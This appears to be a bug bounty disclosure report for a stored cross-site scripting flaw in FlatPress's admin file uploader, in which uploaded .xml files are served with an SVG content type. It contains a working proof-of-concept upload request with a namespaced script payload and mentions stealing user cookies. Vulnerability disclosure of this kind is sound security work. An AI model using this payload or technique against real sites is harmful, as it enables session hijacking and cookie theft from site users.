Lucene search

K
huntrJuylang4C5A8AF6-3078-4180-BB30-33B57A5540E6
HistoryDec 24, 2022 - 8:32 a.m.

Stored XSS via XML File

2022-12-2408:32:20
juylang
www.huntr.dev
82
stored xss
xml file
server response
content-type
html file
xml extension
upload
malicious javascript
user cookies
bug bounty

Description

When user upload a file with .xml extension and direct access this file, the server response with Content-type: image/svg+xml lead to processing XML as HTML file

POC

POST /flatpress-master/admin.php?p=uploader&action=default HTTP/1.1
Host: localhost
Content-Length: 639
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMXzGcbIqZ5KtoAKf
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: fpuser_fp-a37b0eea=admin; fppass_fp-a37b0eea=%242y%2410%2463YIyEccoLYf6kU0s.2lb.D1GcJ7GsnvoWR.aiWBX5alwZmXZpiMK; PHPSESSID=69js8mspjvh35iaud5vsb2sdfq; security_level=0; fpsess_fp-a37b0eea=81ft5fe9s1evbo5kaovh623v8u

------WebKitFormBoundaryMXzGcbIqZ5KtoAKf
Content-Disposition: form-data; name="_wpnonce"

78d8e366e5
------WebKitFormBoundaryMXzGcbIqZ5KtoAKf
Content-Disposition: form-data; name="_wp_http_referer"

/flatpress-master/admin.php?p=uploader
------WebKitFormBoundaryMXzGcbIqZ5KtoAKf
Content-Disposition: form-data; name="upload[]"; filename="xss.xml"
Content-Type: image/svg+xml

<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(document.domain)</something:script>
------WebKitFormBoundaryMXzGcbIqZ5KtoAKf
Content-Disposition: form-data; name="upload"

Upload
------WebKitFormBoundaryMXzGcbIqZ5KtoAKf--

Steps to take

  1. Log in and then access /admin.php?p=uploader&action=default
  2. Perform XML file upload, using malicious javascript to steal user cookies.
Related for 4C5A8AF6-3078-4180-BB30-33B57A5540E6